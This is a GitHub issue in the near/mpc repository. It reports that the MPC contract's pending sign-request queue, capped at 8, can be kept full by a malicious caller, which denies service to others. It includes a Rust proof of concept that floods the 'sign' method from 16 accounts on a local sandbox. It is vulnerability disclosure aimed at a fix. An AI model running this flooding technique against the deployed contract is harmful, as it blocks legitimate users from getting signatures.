near / mpc

30 stars 6 forks source link

Potential DoS of main functionality by keeping the queue full #576

Open timurguvenkaya opened 2 months ago

timurguvenkaya commented 2 months ago

Description

Malicious actors can cause DoS on contract by constantly keeping the pending requests full. There is a limit of 8, so it is possible to simply constantly send payloads, which will prevent others from submitting payloads to sign (or severely limit the number). There should be a potential financial mechanism, which will discourage malicious actors from keeping the queue full or almost full, which will decrease the throughput

POC


use mpc_contract::primitives::CandidateInfo;
use near_workspaces::{network::Sandbox, AccountId};
use serde_json::json;
use std::collections::HashMap;

const CONTRACT_FILE_PATH: &[u8] =
    include_bytes!("../../target/wasm32-unknown-unknown/release/mpc_contract.wasm");

struct Env {
    contract: near_workspaces::Contract,
    malicious_account: near_workspaces::Account,
    candidates: HashMap<AccountId, CandidateInfo>,
    worker: near_workspaces::Worker<Sandbox>,
}

async fn prepare() -> anyhow::Result<Env> {
    let worker = near_workspaces::sandbox().await?;

    let malicious_account = worker.dev_create_account().await?;

    println!("Malicious account is created: {}", malicious_account.id());

    let contract = worker.dev_deploy(CONTRACT_FILE_PATH).await?;

    println!("Contract is deployed: {}", contract.id());

    let candidates: HashMap<AccountId, CandidateInfo> = HashMap::new();

    contract
        .call("init")
        .args_json(serde_json::json!({
            "threshold": 2,
            "candidates": candidates
        }))
        .transact()
        .await?
        .into_result()?;

    Ok(Env {
        contract,
        malicious_account,
        candidates,
        worker,
    })
}

#[tokio::test]
async fn dos() -> anyhow::Result<()> {
    let Env {
        contract, worker, ..
    } = prepare().await?;

    let account_handles = (0..16).map(|_| worker.dev_create_account());
    let accounts: Vec<_> = futures::future::try_join_all(account_handles).await?;

    for account in &accounts {
        println!("Account is created: {}", account.id());
    }

    let contract_id = contract.id();

    let handle_vec = accounts
        .into_iter()
        .enumerate()
        .map(|(i, acc)| {
            println!("Iteration: {}", i);
            let arr = [i as u8; 32];
            acc.call(&contract_id, "sign")
                .args_json(json!({"payload": arr, "path": "", "key_version": 0}))
                .max_gas()
                .transact()
        })
        .collect::<Vec<_>>();

    // Wait for all futures to complete
    let results = futures::future::join_all(handle_vec).await;

    // Process results
    for result in results {
        match result {
            Ok(ok_result) => match ok_result.into_result() {
                Ok(good_result) => println!("Result: {:?}", good_result),
                Err(e) => println!("Error: {:?}", e),
            },
            Err(e) => println!("Error handling future: {:?}", e),
        }
    }

    Ok(())
}